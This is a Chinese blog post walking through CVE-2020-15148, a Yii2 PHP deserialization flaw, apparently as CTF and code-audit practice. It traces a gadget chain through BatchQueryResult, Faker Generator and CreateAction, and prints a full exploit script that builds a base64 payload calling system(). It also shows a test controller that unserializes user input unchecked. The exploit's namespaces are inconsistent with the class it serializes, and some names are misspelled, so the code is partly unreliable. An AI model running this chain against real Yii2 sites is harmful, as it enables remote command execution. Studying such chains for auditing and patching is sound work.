Web CVE-2020-15148 Yii2 代码审计

学习学习实战代码审计,听群里的人说实战练习代码审计反序列化,CVE-2020-15148是一篇不错的技术复现文章,我在想呜呜呜,我普通反序列化还没学明白,这个就开始了实战吗,不过最近好多比赛也都会选cms来出题,也逐渐贴近于实战了,复现一篇cve也是不错的,本篇复现来进行学习,也加深了反序列化在实战中审计技巧,这个cve也是ctfshow的web267

Web Yii2实战代码审计 反序列化学习

Yii2 2.0.37 代码审计

漏洞触发点用全局搜索__destruct(),在BatchQueryResult文件里,vendoryiisoftyii2dbBatchQueryResult.php

1.png

跟进reset函数,this->_dataReader可控,然后去调用close()函数,也就是可以调用一个不存在的函数方法可以触发__call(),我们全局查找可以利用的 __callc(),来实现下一步的利用

在vendorfzaninottofakersrc FakerGenerator.php有个__call

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

跟进format

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

继续跟进getFormatter:

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

我们发现formatters可控,也就代表返回值是关于formatters的值,其实它是个array,在format参赛一是可控的,他可以实列化,通过call_user_func_array去掉用,我们需要一个无参数传递,这里就想到了一个函数call_user_func,我们需要查找一个可以直接可控参数的call_user_func的地方,利用全局搜索这里我们选择了在yiisoftyii2dbrestCreateAction.php下的run()---->call_user_func,

    /**
     * @return ActiveDataProvider
     */
    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

发现这里只要控制好checkAccess和id就可以完成一个rce的操作,这里利用__construct()魔改函数来赋值,几乎每个初始值都用这个魔改函数来设置

具体的链子我们已经找完,下面就可以形成思路来写poc

思路:

我们用vendoryiisoftyii2dbBatchQueryResult.php的__destruct魔改函数下的reset---->close()来传递个私有变量来触发Generator下的—_call()函数,再用getFormatter来控制传参,在getFormatter函数里是个数组的形式传参,通过这个地方直接无参数进行调用即可

利用__construct()来定义初始值,我们无参数的函数在CreateAction.php里,我们给它传参[new CreateAction(), 'run'],实列化后去调用run函数,在上面的CreateAction里我们已经用 __construce()已经定义好了system

我们在yii目录下的controllers建个路由Contruller.php,来触发反序列化

<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
use yii\filters\VervFilter;
use yii\filters\AccessControl;
use app\models\LoginForm;
 
class TestController extends \yii\web\Controller
{
    public function actionSss($data){
        return unserialize(base64_decode($data));
    }
}
 
?>

exp:

<?php
namespace yii2\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii2\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii2\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;//这里用来触发Generator的__call()函数
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

在2.0.38之后BatchQueryResult的类不起作用,所以这时我们要寻找另一个触发点,这个触发点在RUNProcess下,直接构建如下链即可

CodeceptionExtensionRunProcess::__destruct() -> FakerGenerator::__call() -> yiirestIndexAction::run()

后续更新(未完)

本文链接:

http://blog.azly.top/index.php/archives/82/
1 + 6 =
快来做第一个评论的人吧~